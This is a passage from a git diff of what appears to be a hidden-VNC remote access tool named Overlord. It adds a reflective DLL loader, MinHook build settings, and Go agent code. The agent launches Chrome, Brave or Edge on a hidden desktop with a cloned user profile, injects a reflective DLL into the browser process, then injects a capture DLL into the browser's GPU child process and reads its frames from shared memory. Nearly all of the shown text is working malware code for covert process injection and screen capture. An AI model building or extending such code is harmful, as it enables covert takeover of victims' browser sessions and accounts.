HIWORD(uiLibraryAddress); + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof(IMAGE_RELOC); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // Store the parameter globally so DllMain can access it + g_lpReflectiveParameter = lpParameter; + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/HVNCCapture/src/ReflectiveLoader.h b/HVNCCapture/src/ReflectiveLoader.h new file mode 100644 index 0000000..3e13533 --- /dev/null +++ b/HVNCCapture/src/ReflectiveLoader.h @@ -0,0 +1,215 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include + +#ifdef _MSC_VER +#include +#else +// MinGW/GCC: _rotr lives in , __readgsqword in +#include +#include +#endif + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); +typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#ifdef _MSC_VER +#pragma intrinsic( _rotr ) +#define RDI_INLINE __forceinline +#else +#define RDI_INLINE static inline __attribute__((always_inline)) +#endif + +RDI_INLINE DWORD ror(DWORD d) +{ + return _rotr(d, HASH_KEY); +} + +RDI_INLINE DWORD hash(char* c) +{ + register DWORD h = 0; + do + { + h = ror(h); + h += *c; + } while (*++c); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, * PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK* pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, * PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/HVNCCapture/src/seh_compat.h b/HVNCCapture/src/seh_compat.h new file mode 100644 index 0000000..322e1b8 --- /dev/null +++ b/HVNCCapture/src/seh_compat.h @@ -0,0 +1,18 @@ +// Compatibility header for building with MinGW (which lacks MSVC's __try/__except) +#ifndef _HVNC_SEH_COMPAT_H +#define _HVNC_SEH_COMPAT_H + +#ifdef __MINGW32__ +// MinGW doesn't support MSVC structured exception handling. +// Replace __try/__except with plain code execution (no SEH guard). +#define __try +#define __except(x) if (0) +#define __finally + +// MSVC uses GetExceptionCode() inside __except; provide a stub. +#ifndef GetExceptionCode +#define GetExceptionCode() 0 +#endif +#endif // __MINGW32__ + +#endif // _HVNC_SEH_COMPAT_H diff --git a/HVNCInjection/HVNCInjection.vcxproj b/HVNCInjection/HVNCInjection.vcxproj index 5dfe7b1..ec693f4 100644 --- a/HVNCInjection/HVNCInjection.vcxproj +++ b/HVNCInjection/HVNCInjection.vcxproj @@ -168,6 +168,7 @@ Size false WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + $(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories) MultiThreaded true @@ -182,7 +183,6 @@ true true MachineX64 - $(ProjectDir)src;%(AdditionalLibraryDirectories) if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" @@ -245,6 +245,7 @@ Size false WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + $(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories) MultiThreaded true @@ -259,7 +260,6 @@ true true MachineX64 - $(ProjectDir)src;%(AdditionalLibraryDirectories) if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" @@ -272,13 +272,28 @@ + + CompileAsC + + + CompileAsC + + + CompileAsC + + + CompileAsC + + + CompileAsC + - + diff --git a/HVNCInjection/src/NtApiHooks.c b/HVNCInjection/src/NtApiHooks.c index daf415d..6a4b2b7 100644 --- a/HVNCInjection/src/NtApiHooks.c +++ b/HVNCInjection/src/NtApiHooks.c @@ -12,7 +12,6 @@ extern "C" { #include #ifdef _MSC_VER -#pragma comment(lib, "libMinHook.x64.lib") #pragma comment(lib, "ntdll.lib") #endif diff --git a/HVNCInjection/src/libMinHook.x64.lib b/HVNCInjection/src/libMinHook.x64.lib deleted file mode 100644 index e211ad6..0000000 Binary files a/HVNCInjection/src/libMinHook.x64.lib and /dev/null differ diff --git a/Overlord-Client/cmd/agent/capture/hvnc_dxgi_reader_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_dxgi_reader_windows.go new file mode 100644 index 0000000..efd2dd2 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/hvnc_dxgi_reader_windows.go @@ -0,0 +1,318 @@ +//go:build windows + +package capture + +import ( + "encoding/binary" + "fmt" + "log" + "sync" + "syscall" + "time" + "unsafe" +) + +// hvncFrameHeader mirrors the C HVNCFrameHeader struct. +// must be kept in sync with HVNCCapture/src/DXGICapture.h. +type hvncFrameHeader struct { + Magic uint32 + Version uint32 + Width uint32 + Height uint32 + Stride uint32 + Format uint32 + FrameSeq uint64 + TimestampNs uint64 + PID uint32 + Reserved uint32 +} + +const ( + hvncFrameMagic = 0x434E5648 // 'HVNC' + hvncFrameVersion = 1 + hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader) + hvncShmPrefix = `Local\hvnc_frame_` + hvncEventPrefix = `Local\hvnc_evt_` +) + +var ( + procOpenFileMappingW = kernel32.NewProc("OpenFileMappingW") + procOpenEventW = kernel32.NewProc("OpenEventW") +) + +const ( + FILE_MAP_READ = 0x0004 + EVENT_ALL_ACCESS = 0x1F0003 + SYNCHRONIZE = 0x00100000 +) + +type hvncFrameReader struct { + pid uint32 + shmHandle uintptr + shmView unsafe.Pointer + shmSize uintptr + evtHandle uintptr + lastSeq uint64 + staleCount int + mu sync.Mutex +} + +var ( + hvncFrameReaders = make(map[uint32]*hvncFrameReader) + hvncFrameReadersMu sync.Mutex + + hvncGPUPIDMap = make(map[uint32]uint32) +) + +func hvncRegisterGPUPID(browserPID, gpuPID uint32) { + hvncFrameReadersMu.Lock() + hvncGPUPIDMap[browserPID] = gpuPID + hvncFrameReadersMu.Unlock() + log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID) +} + +func hvncGetFrameReader(pid uint32) *hvncFrameReader { + hvncFrameReadersMu.Lock() + defer hvncFrameReadersMu.Unlock() + + if r, ok := hvncFrameReaders[pid]; ok { + if r.staleCount > 300 { + log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount) + r.close() + delete(hvncFrameReaders, pid) + } else { + return r + } + } + + shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid)) + shmHandle, _, _ := procOpenFileMappingW.Call( + FILE_MAP_READ, + 0, + uintptr(unsafe.Pointer(shmName)), + ) + if shmHandle == 0 { + return nil + } + + view, _, _ := procMapViewOfFile.Call( + shmHandle, + FILE_MAP_READ, + 0, 0, + hvncFrameHeaderSize, + ) + if view == 0 { + procCloseHandle.Call(shmHandle) + return nil + } + + hdr := (*hvncFrameHeader)(unsafe.Pointer(view)) + if hdr.Magic != hvncFrameMagic { + procUnmapViewOfFile.Call(view) + procCloseHandle.Call(shmHandle) + return nil + } + + fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height) + + procUnmapViewOfFile.Call(view) + view = 0 + hdr = nil + + fullView, _, _ := procMapViewOfFile.Call( + shmHandle, + FILE_MAP_READ, + 0, 0, + fullSize, + ) + if fullView == 0 { + procCloseHandle.Call(shmHandle) + return nil + } + + hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView)) + + evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid)) + evtHandle, _, _ := procOpenEventW.Call( + SYNCHRONIZE, + 0, + uintptr(unsafe.Pointer(evtName)), + ) + + r := &hvncFrameReader{ + pid: pid, + shmHandle: shmHandle, + shmView: unsafe.Pointer(fullView), + shmSize: fullSize, + evtHandle: evtHandle, + } + hvncFrameReaders[pid] = r + + log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)", + pid, hdr2.Width, hdr2.Height, fullSize) + return r +} + +func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) { + r.mu.Lock() + defer r.mu.Unlock() + + if r.shmView == nil { + return 0, 0, false + } + + hdr := (*hvncFrameHeader)(r.shmView) + if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion { + return 0, 0, false + } + + w = int(hdr.Width) + h = int(hdr.Height) + stride := int(hdr.Stride) + + if w <= 0 || h <= 0 || w > 7680 || h > 4320 || stride <= 0 || stride > 7680*4 { + return 0, 0, false + } + + dstStride := w * 4 + if stride < dstStride { + return 0, 0, false // stride must be >= w*4 + } + + needed := w * h * 4 + if len(dst) < needed { + return 0, 0, false + } + + totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h) + if totalNeeded > r.shmSize { + r.remap(w, h, stride) + if r.shmView == nil { + return 0, 0, false + } + hdr = (*hvncFrameHeader)(r.shmView) + if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h { + return 0, 0, false + } + } + + pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize) + srcSize := stride * h + src := unsafe.Slice((*byte)(pixelData), srcSize) + + for y := 0; y < h; y++ { + srcOff := y * stride + dstOff := y * dstStride + copy(dst[dstOff:dstOff+dstStride], src[srcOff:srcOff+dstStride]) + } + + seq := hdr.FrameSeq + if seq != r.lastSeq { + r.lastSeq = seq + r.staleCount = 0 + } else { + r.staleCount++ + } + + return w, h, true +} + +func (r *hvncFrameReader) remap(w, h, stride int) { + if r.shmView != nil { + procUnmapViewOfFile.Call(uintptr(r.shmView)) + r.shmView = nil + } + + newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h) + view, _, _ := procMapViewOfFile.Call( + r.shmHandle, + FILE_MAP_READ, + 0, 0, + newSize, + ) + if view == 0 { + return + } + r.shmView = unsafe.Pointer(view) + r.shmSize = newSize +} + +func (r *hvncFrameReader) close() { + r.mu.Lock() + defer r.mu.Unlock() + + if r.shmView != nil { + procUnmapViewOfFile.Call(uintptr(r.shmView)) + r.shmView = nil + } + if r.shmHandle != 0 { + procCloseHandle.Call(r.shmHandle) + r.shmHandle = 0 + } + if r.evtHandle != 0 { + procCloseHandle.Call(r.evtHandle) + r.evtHandle = 0 + } +} + +func hvncCleanupFrameReaders() { + hvncFrameReadersMu.Lock() + defer hvncFrameReadersMu.Unlock() + + for pid, r := range hvncFrameReaders { + r.close() + delete(hvncFrameReaders, pid) + } + for k := range hvncGPUPIDMap { + delete(hvncGPUPIDMap, k) + } +} + +var ( + hvncInjectedPIDs = make(map[uint32]time.Time) + hvncInjectedPIDsMu sync.Mutex +) + +func hvncRegisterInjectedPID(pid uint32) { + hvncInjectedPIDsMu.Lock() + hvncInjectedPIDs[pid] = time.Now() + hvncInjectedPIDsMu.Unlock() +} + +func hvncGetInjectedPIDs() []uint32 { + hvncInjectedPIDsMu.Lock() + defer hvncInjectedPIDsMu.Unlock() + pids := make([]uint32, 0, len(hvncInjectedPIDs)) + for pid := range hvncInjectedPIDs { + pids = append(pids, pid) + } + return pids +} + +func hvncUnregisterInjectedPID(pid uint32) { + hvncInjectedPIDsMu.Lock() + delete(hvncInjectedPIDs, pid) + hvncInjectedPIDsMu.Unlock() +} + +func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) { + if len(data) < hvncFrameHeaderSize { + return nil, false + } + hdr := &hvncFrameHeader{ + Magic: binary.LittleEndian.Uint32(data[0:4]), + Version: binary.LittleEndian.Uint32(data[4:8]), + Width: binary.LittleEndian.Uint32(data[8:12]), + Height: binary.LittleEndian.Uint32(data[12:16]), + Stride: binary.LittleEndian.Uint32(data[16:20]), + Format: binary.LittleEndian.Uint32(data[20:24]), + FrameSeq: binary.LittleEndian.Uint64(data[24:32]), + TimestampNs: binary.LittleEndian.Uint64(data[32:40]), + PID: binary.LittleEndian.Uint32(data[40:44]), + Reserved: binary.LittleEndian.Uint32(data[44:48]), + } + if hdr.Magic != hvncFrameMagic { + return nil, false + } + return hdr, true +} diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go index 024a818..89b820d 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go @@ -4,16 +4,17 @@ package capture import "errors" -func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error { +func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error { return errors.New("HVNC injection not supported on this platform") } -func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { +func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { return errors.New("HVNC injection not supported on this platform") } type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) +type DXGIStatusFunc func(success bool, gpuPID uint32, message string) -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error { return errors.New("HVNC injection not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index c952bfc..0134965 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -35,6 +35,9 @@ var ( var advapi32 = syscall.NewLazyDLL("advapi32.dll") type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) +type DXGIStatusFunc func(success bool, gpuPID uint32, message string) + +var hvncDXGIStatusCallback atomic.Value const ( PROCESS_CREATE_THREAD = 0x0002 @@ -99,7 +102,7 @@ func enableDebugPrivilege() { // StartHVNCProcessInjected starts a process suspended on the HVNC desktop, // injects the reflective DLL, then resumes it. // searchPath/replacePath are passed as environment variables for the DLL hooks. -func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error { +func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error { if filePath == "" { return fmt.Errorf("empty file path") } @@ -108,11 +111,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl } result, err := executeHVNCTask(hvncTask{ - kind: hvncTaskStartProcessInjected, - filePath: filePath, - dllBytes: dllBytes, - searchPath: searchPath, - replacePath: replacePath, + kind: hvncTaskStartProcessInjected, + filePath: filePath, + dllBytes: dllBytes, + captureDllBytes: captureDllBytes, + searchPath: searchPath, + replacePath: replacePath, }, 30*time.Second) if err != nil { return err @@ -124,7 +128,10 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl // If clone is true, it clones the real profile so file I/O is redirected to the clone. // If clone is false, it starts the browser with injection but no path redirection. // browser should be one of: "chrome", "brave", "edge". -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error { + if onDXGIStatus != nil { + hvncDXGIStatusCallback.Store(onDXGIStatus) + } info, ok := browserInfoMap[strings.ToLower(browser)] if !ok { return fmt.Errorf("unknown browser %q", browser) @@ -151,7 +158,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c if !clone { log.Printf("hvnc %s: starting without profile cloning", info.name) - return StartHVNCProcessInjected(exePath, dllBytes, "", "") + return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "") } realUserData := getBrowserUserDataDir(info) @@ -188,12 +195,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c } } - return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir) + return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir) } // StartHVNCChromeInjected is kept for backward compatibility. -func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { - return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil) +func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { + return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil) } type browserInfo struct { @@ -660,7 +667,7 @@ func calcDirSize(dir string) int64 { return total } -func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error { +func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error { if filePath == "" { return fmt.Errorf("empty file path") } @@ -712,9 +719,170 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa procCloseHandle.Call(hThread) log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid) + + if len(captureDllBytes) > 0 { + go hvncDeferredGPUInject(pid, captureDllBytes) + } + return nil } +func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) { + time.Sleep(4 * time.Second) + + for attempt := 0; attempt < 15; attempt++ { + gpuPID, err := findGPUChildProcess(browserPID) + if err != nil { + log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err) + time.Sleep(2 * time.Second) + continue + } + + log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID) + + hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID)) + if hProcess == 0 { + log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID) + return + } + + if err := reflectiveInject(hProcess, captureDllBytes); err != nil { + log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err) + procCloseHandle.Call(hProcess) + if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { + fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID)) + } + return + } + procCloseHandle.Call(hProcess) + + log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID) + hvncRegisterInjectedPID(gpuPID) + hvncRegisterGPUPID(browserPID, gpuPID) + if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { + fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID)) + } + return + } + + log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID) + if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { + fn(false, 0, "DXGI injection failed: GPU process not found") + } +} + +func findGPUChildProcess(parentPID uint32) (uint32, error) { + children := findChildPIDs(parentPID) + if len(children) == 0 { + return 0, fmt.Errorf("no child processes") + } + + for _, childPID := range children { + if hasLoadedModule(childPID, "d3d11.dll") { + return childPID, nil + } + } + + return 0, fmt.Errorf("none of %d children have d3d11.dll", len(children)) +} + +type processEntry32W struct { + Size uint32 + CntUsage uint32 + ProcessID uint32 + DefaultHeapID uintptr + ModuleID uint32 + CntThreads uint32 + ParentProcessID uint32 + PriClassBase int32 + Flags uint32 + ExeFile [260]uint16 +} + +type moduleEntry32W struct { + Size uint32 + ModuleID uint32 + ProcessID uint32 + GlblcntUsage uint32 + ProccntUsage uint32 + ModBaseAddr uintptr + ModBaseSize uint32 + HModule uintptr + SzModule [256]uint16 + SzExePath [260]uint16 +} + +var ( + procCreateToolhelp32Snapshot = kernel32.NewProc("CreateToolhelp32Snapshot") + procProcess32FirstW = kernel32.NewProc("Process32FirstW") + procProcess32NextW = kernel32.NewProc("Process32NextW") + procModule32FirstW = kernel32.NewProc("Module32FirstW") + procModule32NextW = kernel32.NewProc("Module32NextW") +) + +const ( + TH32CS_SNAPPROCESS = 0x00000002 + TH32CS_SNAPMODULE = 0x00000008 + TH32CS_SNAPMODULE32 = 0x00000010 +) + +func findChildPIDs(parentPID uint32) []uint32 { + snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPPROCESS, 0) + if snap == 0 || snap == ^uintptr(0) { + return nil + } + defer procCloseHandle.Call(snap) + + var entry processEntry32W + entry.Size = uint32(unsafe.Sizeof(entry)) + ret, _, _ := procProcess32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry))) + if ret == 0 { + return nil + } + + var children []uint32 + for { + if entry.ParentProcessID == parentPID && entry.ProcessID != parentPID { + children = append(children, entry.ProcessID) + } + entry.Size = uint32(unsafe.Sizeof(entry)) + ret, _, _ = procProcess32NextW.Call(snap, uintptr(unsafe.Pointer(&entry))) + if ret == 0 { + break + } + } + return children +} + +func hasLoadedModule(pid uint32, moduleName string) bool { + snap, _, _ := 